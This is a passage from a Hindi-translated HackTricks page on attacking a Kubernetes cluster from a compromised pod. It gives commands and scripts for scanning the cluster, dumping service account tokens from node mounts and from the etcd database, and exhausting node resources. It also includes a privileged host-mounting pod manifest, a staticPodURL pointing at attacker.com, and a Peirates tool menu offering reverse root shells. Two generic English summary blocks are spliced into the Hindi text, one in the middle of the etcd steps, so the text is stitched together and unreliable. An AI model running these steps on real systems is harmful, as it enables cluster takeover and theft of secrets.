Attacking Kubernetes from inside a Pod

AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएं की जाँच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और ट्विटर 🐦 @hacktricks_live** को** फॉलो करें।

• हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github रेपो में PR जमा करके।

पॉड ब्रेकआउट

यदि आप भाग्यशाली हैं तो आप इससे नोड पर बाहर निकल सकते हैं:

पॉड से बाहर निकलना

पॉड से बाहर निकलने के लिए आपको योग्यता बढ़ानी पड़ सकती है, कुछ तकनीकें इसे करने के लिए:

Linux Privilege EscalationHackTricks

आप इस डॉकर ब्रेकआउट की जाँच कर सकते हैं ताकि आप पॉड से बाहर निकल सकें जिसे आपने कंप्रोमाइज़ किया है:

Docker Basics & BreakoutHackTricks

Kubernetes योग्यताओं का दुरुपयोग

Kubernetes जाँच के खंड में बताया गया है कि:

Kubernetes Enumeration

सामान्यत: पॉड्स में एक सेवा अकाउंट टोकन चलाया जाता है। इस सेवा अकाउंट में कुछ योग्यताएँ जुड़ी होती हैं जिन्हें आप दुरुपयोग कर सकते हैं और अन्य पॉड्स या नोड्स में चले जा सकते हैं जो क्लस्टर के अंदर कॉन्फ़िगर किए गए हों। इसे कैसे करें देखें:

Abusing Roles/ClusterRoles in Kubernetes

क्लाउड योग्यताओं का दुरुपयोग

यदि पॉड एक क्लाउड वातावरण के अंदर चलाया जा रहा है तो आप मेटाडेटा एंडपॉइंट से टोकन लीक कर सकते हैं और इसका उपयोग करके योग्यता बढ़ा सकते हैं।

वंशानुक्रमित नेटवर्क सेवाएं खोजें

क्योंकि आप Kubernetes वातावरण के अंदर हैं, यदि आप मौजूदा पॉड की योग्यताओं का दुरुपयोग करके योग्यता बढ़ाने में सफल नहीं हो सकते और आप कंटेनर से बाहर नहीं निकल सकते, तो आपको संभावित वंशानुक्रमित सेवाएं खोजनी चाहिए।

सेवाएं

इस उद्देश्य के लिए, आप कुबरनेट्स वातावरण की सभी सेवाएं प्राप्त करने का प्रयास कर सकते हैं:

kubectl get svc --all-namespaces

स्कैनिंग

निम्नलिखित बैश स्क्रिप्ट (कुबरनेटीज़ कार्यशाला से लिया गया) कुबरनेटीज़ क्लस्टर के आईपी रेंज को इंस्टॉल करेगा और स्कैन करेगा:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

निम्नलिखित पृष्ठ पर जांचें और सीखें कि आप कैसे कुबरनेटीज़ विशेष सेवाओं को हमला कर सकते हैं ताकि अन्य पॉड/सभी वातावरण को कमजोर कर सकें:

Pentesting Kubernetes Services

स्निफिंग

यदि कंप्रोमाइज़्ड पॉड किसी संवेदनशील सेवा को चला रहा है जहां अन्य पॉडों को प्रमाणीकृत करने की आवश्यकता है, तो आप स्निफिंग स्थानीय संचार से भेजे गए प्रमाणों को प्राप्त कर सकते हैं।

नेटवर्क स्पूफिंग

डिफ़ॉल्ट तकनीकों जैसे ARP स्पूफिंग (और इसके धन्यवाद के रूप में DNS स्पूफिंग) कुबरनेटीज़ नेटवर्क में काम करते हैं। फिर, एक पॉड के अंदर, यदि आपके पास NET_RAW क्षमता है (जो डिफ़ॉल्ट रूप से है), तो आपको कस्टम बनाए गए नेटवर्क पैकेट भेजने और MitM हमले करने की क्षमता होगी ARP स्पूफिंग के माध्यम से सभी पॉड्स को जो एक ही नोड में चल रहे हैं। इसके अतिरिक्त, यदि दुर्भाग्यपूर्ण पॉड DNS सर्वर के साथ एक ही नोड में चल रहा है, तो आप समूह में सभी पॉड्स के लिए DNS स्पूफिंग हमला कर सकेंगे।

Kubernetes Network Attacks

नोड DoS

कुबरनेटीज़ मैनिफ़ेस्ट में संसाधनों की कोई विशेषता नहीं है और कंटेनर्स के लिए लागू सीमा क्षेत्र है। एक हमलावाद के रूप में, हम पॉड/डिप्लॉयमेंट चल रहे स्थान पर सभी संसाधनों का उपभोग कर सकते हैं और अन्य संसाधनों को भूखे रख सकते हैं और वातावरण के लिए एक DoS का कारण बना सकते हैं।

इसे stress-ng जैसे एक उपकरण के साथ किया जा सकता है:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

आप stress-ng चलाते समय और उसके बाद के बीच अंतर देख सकते हैं।

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

नोड पोस्ट-एक्सप्लोइटेशन

यदि आपने कंटेनर से बाहर निकलने कर लिया है तो नोड में कुछ दिलचस्प चीजें मिलेंगी:

• कंटेनर रनटाइम प्रक्रिया (डॉकर)

• नोड में और भी पॉड/कंटेनर जो इस तरह का उपयोग कर सकते हैं (अधिक टोकन)

• पूरी फ़ाइल सिस्टम और ओएस सामान्य रूप से

• क्यूब-प्रॉक्सी सेवा सुन रही है

• क्यूबलेट सेवा सुन रही है। कॉन्फ़िग फ़ाइलें जांचें:

• निर्देशिका: /var/lib/kubelet/

• /var/lib/kubelet/kubeconfig

• /var/lib/kubelet/kubelet.conf

• /var/lib/kubelet/config.yaml

• /var/lib/kubelet/kubeadm-flags.env

• /etc/kubernetes/kubelet-kubeconfig

• अन्य कुबरनेट्स सामान्य फ़ाइलें:

• $HOME/.kube/config - उपयोगकर्ता कॉन्फ़िग

• /etc/kubernetes/kubelet.conf- नियमित कॉन्फ़िग

• /etc/kubernetes/bootstrap-kubelet.conf - बूटस्ट्रैप कॉन्फ़िग

• /etc/kubernetes/manifests/etcd.yaml - etcd कॉन्फ़िगरेशन

• /etc/kubernetes/pki - कुबरनेट्स कुंजी

नोड kubeconfig खोजें

यदि आप पहले टिप्पणीत पथों में kubeconfig फ़ाइल नहीं ढूंढ पा रहे हैं, तो क्यूबलेट प्रक्रिया के तर्क --kubeconfig की जाँच करें:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

रहस्य चुराना

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

स्क्रिप्ट can-they.sh स्वचालित रूप से अन्य पॉडों के टोकन प्राप्त करेगा और जांचेगा कि क्या वे आपकी द्वारा खोजी जा रही अनुमति है (आपको 1 से 1 देखने की बजाय):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

विशेषाधिकारित डेमनसेट्स

एक डेमनसेट एक पॉड है जो क्लस्टर के सभी नोड्स में चलाया जाएगा। इसलिए, यदि एक डेमनसेट को एक विशेषाधिकारित सेवा खाता के साथ कॉन्फ़िगर किया गया है, तो सभी नोड्स में आपको उस विशेषाधिकारित सेवा खाते का टोकन मिलेगा जिसका आप दुरुपयोग कर सकते हैं।

उत्पादन वही है जो पिछले खंड में था, लेकिन अब आप भाग्य पर निर्भर नहीं हैं।

क्लाउड में पिवट

यदि क्लस्टर को एक क्लाउड सेवा द्वारा प्रबंधित किया जाता है, तो सामान्यत: नोड को मेटाडेटा एंडपॉइंट तक पहुंचने का पॉड से अलग एक्सेस होगा। इसलिए, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने का प्रयास करें (या True होस्टनेटवर्क वाले पॉड से):

Kubernetes Pivoting to Clouds

etcd चुराना

यदि आप नोडनाम को निर्दिष्ट कर सकते हैं जिस पर कंटेनर चलाया जाएगा, तो एक कंट्रोल-प्लेन नोड में एक शैल मिला लें और etcd डेटाबेस प्राप्त करें:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane नोड्स में रोल मास्टर होता है और क्लाउड मैनेज्ड क्लस्टर्स में आप उनमें कुछ भी नहीं चला सकते।

etcd से सीक्रेट्स पढ़ें

यदि आप nodeName सेलेक्टर का उपयोग करके अपने पॉड को एक कंट्रोल-प्लेन नोड पर चला सकते हैं, तो आपको etcd डेटाबेस तक आसान पहुंच हो सकती है, जिसमें क्लस्टर के लिए सभी कॉन्फ़िगरेशन, सहित सभी सीक्रेट्स होते हैं।

नीचे एक जल्दबाज तरीका है जिससे आप etcd से सीक्रेट्स प्राप्त कर सकते हैं अगर यह आपके द्वारा उपयोग किए जा रहे कंट्रोल-प्लेन नोड पर चल रहा है। यदि आप एक और सुरुचिपूर्ण समाधान चाहते हैं जो etcd क्लाइंट यूटिलिटी etcdctl के साथ एक पॉड उठाता है और जहां भी यह चल रहा है, वहां etcd से कनेक्ट करने के लिए कंट्रोल-प्लेन नोड क्रेडेंशियल का उपयोग करता है, तो इस उदाहरण मैनिफेस्ट की जाँच करें।

जांचें कि क्या etcd कंट्रोल-प्लेन नोड पर चल रहा है और डेटाबेस कहाँ है (यह kubeadm द्वारा बनाए गए क्लस्टर पर है)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are in a privileged position to carry out further attacks within the cluster. This section explores various techniques that can be used by an attacker to escalate privileges and move laterally within a Kubernetes cluster.

### Escalating Privileges

#### Accessing the Kubernetes API

One common technique is to access the Kubernetes API from within a compromised pod. This can be achieved by leveraging service account tokens or by mounting the host's `/var/run/secrets/kubernetes.io/serviceaccount` directory into the pod.

#### Exploiting Kubernetes RBAC

If the compromised pod has limited privileges, the attacker can attempt to exploit Kubernetes Role-Based Access Control (RBAC) misconfigurations to escalate their permissions within the cluster.

### Moving Laterally

#### Pod Hopping

Once inside a pod, an attacker can move laterally by compromising other pods within the same node or different nodes in the cluster. This can be achieved by exploiting vulnerabilities in the Kubernetes network configuration or by abusing misconfigured RBAC policies.

#### Accessing Secrets

By accessing secrets stored within the cluster, an attacker can gather sensitive information such as credentials, API keys, or certificates. This information can then be used to further escalate privileges or carry out attacks on other cluster resources.

### Conclusion

Securing Kubernetes clusters requires not only protecting the external attack surface but also considering the internal threats that can arise from compromised pods. By understanding common attack techniques, defenders can better secure their clusters and prevent unauthorized access.

data-dir=/var/lib/etcd

ईटीसीडी डेटाबेस में डेटा देखें:

strings /var/lib/etcd/member/snap/db | less

डेटाबेस से टोकन निकालें और सेवा खाता नाम दिखाएं

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

वही कमांड, लेकिन कुब-सिस्टम नेमस्पेस में केवल डिफ़ॉल्ट टोकन लौटाने के लिए कुछ greps

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

# Attacking Kubernetes from Inside a Pod

## Introduction

In this section, we will discuss various techniques that can be used to escalate privileges and perform lateral movement when an attacker gains access to a Kubernetes pod.

## Accessing the Kubernetes API

Once inside a pod, an attacker can access the Kubernetes API and perform actions such as reading secrets, creating or deleting resources, and more. This can be done by leveraging the service account token mounted inside the pod.

## Exploiting Insecure Configurations

Attackers can exploit insecure configurations within the cluster to gain additional privileges. For example, misconfigured RBAC roles or pod security policies can be abused to escalate privileges.

## Container Breakouts

In some cases, attackers can break out of the container to gain access to the host system. This can be achieved by exploiting vulnerabilities in the container runtime or kernel.

## Data Exfiltration

Attackers can exfiltrate sensitive data from the cluster by accessing secrets, configuration files, or other resources within the cluster. This data can then be used for further attacks or sold on the dark web.

## Summary

Attacking Kubernetes from inside a pod provides attackers with various opportunities to escalate privileges, move laterally within the cluster, and exfiltrate sensitive data. It is essential for organizations to secure their Kubernetes clusters and regularly audit for any misconfigurations or vulnerabilities.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

स्थैतिक/पर्दर्शीत पॉड्स स्थायित्व

स्थैतिक पॉड्स एक विशिष्ट नोड पर kubelet डेमन द्वारा सीधे प्रबंधित किए जाते हैं, जिन्हें API सर्वर उन्हें नहीं देखता। जो पॉड्स नियंत्रण तल पर प्रबंधित किए जाते हैं (उदाहरण के लिए, एक डिप्लॉयमेंट); इसके बजाय, kubelet प्रत्येक स्थैतिक पॉड का ध्यान रखता है (और यदि यह विफल होता है तो इसे पुनः आरंभ करता है)।

इसलिए, स्थैतिक पॉड्स हमेशा एक क्यूबलेट से बाँधे जाते हैं एक विशिष्ट नोड पर।

kubelet स्वचालित रूप से प्रत्येक स्थैतिक पॉड के लिए कुबरनेटीज़ API सर्वर पर एक परदर्शी पॉड बनाने का प्रयास करता है। इसका मतलब है कि नोड पर चल रहे पॉड्स को API सर्वर पर दिखाया जाएगा, लेकिन वहां से नियंत्रित नहीं किया जा सकता। पॉड नामों के आगे नोड होस्टनाम के साथ एक अग्रदशी डैश लगा होगा।

स्थैतिक पॉड की spec किसी अन्य API ऑब्जेक्ट का संदर्भ नहीं कर सकती (जैसे, सेवा खाता, कॉन्फ़िगमैप, सीक्रेट, आदि)। इसलिए आप वर्तमान नोड में किसी भी विचित्र सेवा खाता के साथ एक पॉड लॉन्च करने के लिए इस व्यवहार का दुरुपयोग नहीं कर सकते। लेकिन आप इसका उपयोग इस्तेमाल कर सकते हैं अलग नेमस्पेस में पॉड्स चलाने के लिए (यदि किसी कारण से उपयोगी है)।

अगर आप नोड होस्ट के अंदर हैं तो आप इसे अपने आप में एक स्थैतिक पॉड बना सकते हैं। यह काफी उपयोगी हो सकता है क्योंकि यह आपको एक विभिन्न नेमस्पेस जैसे kube-system में पॉड बनाने की अनुमति देने की सक्षमता दे सकता है।

स्थैतिक पॉड बनाने के लिए, दस्तावेज़ मददगार हैं। आपको मुख्य रूप से 2 चीजें चाहिए:

• --pod-manifest-path=/etc/kubernetes/manifests पैरामीटर को kubelet सेवा में कॉन्फ़िगर करें, या kubelet कॉन्फ़िग में (staticPodPath) और सेवा को पुनः आरंभ करें

• /etc/kubernetes/manifests में पॉड परिभाषा पर परिभाषा बनाएं

एक और अधिक छिपी हुई तरीका हो सकता है:

• kubelet कॉन्फ़िग फ़ाइल से पैरामीटर staticPodURL को संशोधित करें और कुछ इस प्रकार सेट करें staticPodURL: http://attacker.com:8765/pod.yaml। यह कुबलेट प्रक्रिया को निर्दिष्ट URL से कॉन्फ़िगरेशन प्राप्त करने के साथ स्थैतिक पॉड बनाने की करेगा।

पॉड कॉन्फ़िगरेशन का उदाहरण एक विशेषाधिकार पॉड बनाने के लिए kube-system में यहाँ से लिया गया है:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

पॉड्स + अनस्केज्यूलेबल नोड्स को हटाएं

यदि एक हमलावर ने एक नोड को कंप्रोमाइज़ किया है और वह अन्य नोड्स से पॉड्स को हटा सकता है और अन्य नोड्स को पॉड्स को नहीं चला सकता, तो पॉड्स को कंप्रोमाइज़ नोड में फिर से चलाया जाएगा और उसे उनमें चलाए गए टोकन्स चुरा सकेगा। अधिक जानकारी के लिए इस लिंक का पालन करें.

स्वचालित उपकरण

• https://github.com/inguardians/peirates

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

• https://github.com/r0binak/MTKPI

एडब्ल्यूएस हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण एडब्ल्यूएस रेड टीम एक्सपर्ट (ARTE) जीसीपी हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण जीसीपी रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएं की जाँच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और ट्विटर 🐦 @hacktricks_live** पर हमें फॉलो करें।

• हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स](https://github.com/carlospolop/hacktricks) और हैकट्रिक्स क्लाउड github रेपो में पीआर जमा करके।